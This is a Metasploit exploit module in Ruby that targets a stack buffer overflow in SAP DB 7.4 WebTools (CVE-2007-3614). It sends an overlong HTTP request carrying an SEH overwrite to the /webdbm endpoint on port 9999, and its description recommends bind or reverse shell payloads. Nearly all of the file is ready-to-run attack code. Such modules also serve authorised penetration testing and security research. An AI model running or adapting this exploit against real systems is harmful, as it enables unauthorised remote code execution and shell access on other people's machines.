##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'SAP DB 7.4 WebTools Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack overflow in SAP DB 7.4 WebTools.
          By sending an overly long GET request, it may be possible for 
          an attacker to execute arbitrary code. Using the PAYLOAD of 
          windows/shell_bind_tcp or windows/shell_reverse_tcp allows 
          for the most reliable results.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2007-3614' ],
          [ 'OSVDB', '37838' ],
          [ 'BID', '24773' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 850,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,

        },
      'Platform'       => 'win',
      'Targets'        => 
        [
          [ 'SAP DB 7.4 WebTools', { 'Ret' => 0x1003c95a } ], # wapi.dll 7.4.3.0  
        ],
      'DisclosureDate' => 'July 5 2007',
      'DefaultTarget'  => 0))

      register_options( [ Opt::RPORT(9999) ], self.class )
  end

  def exploit
    c = connect
    
    filler = rand_text_alphanumeric(20774)
    seh = generate_seh_payload(target.ret)
    # pretty big...
    sploit = filler + seh + rand_text_alphanumeric(3000)

    print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)
  
    res = send_request_raw({
      'uri'   => '/webdbm',
      'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit
    }, 5)
    
    handler
  end

end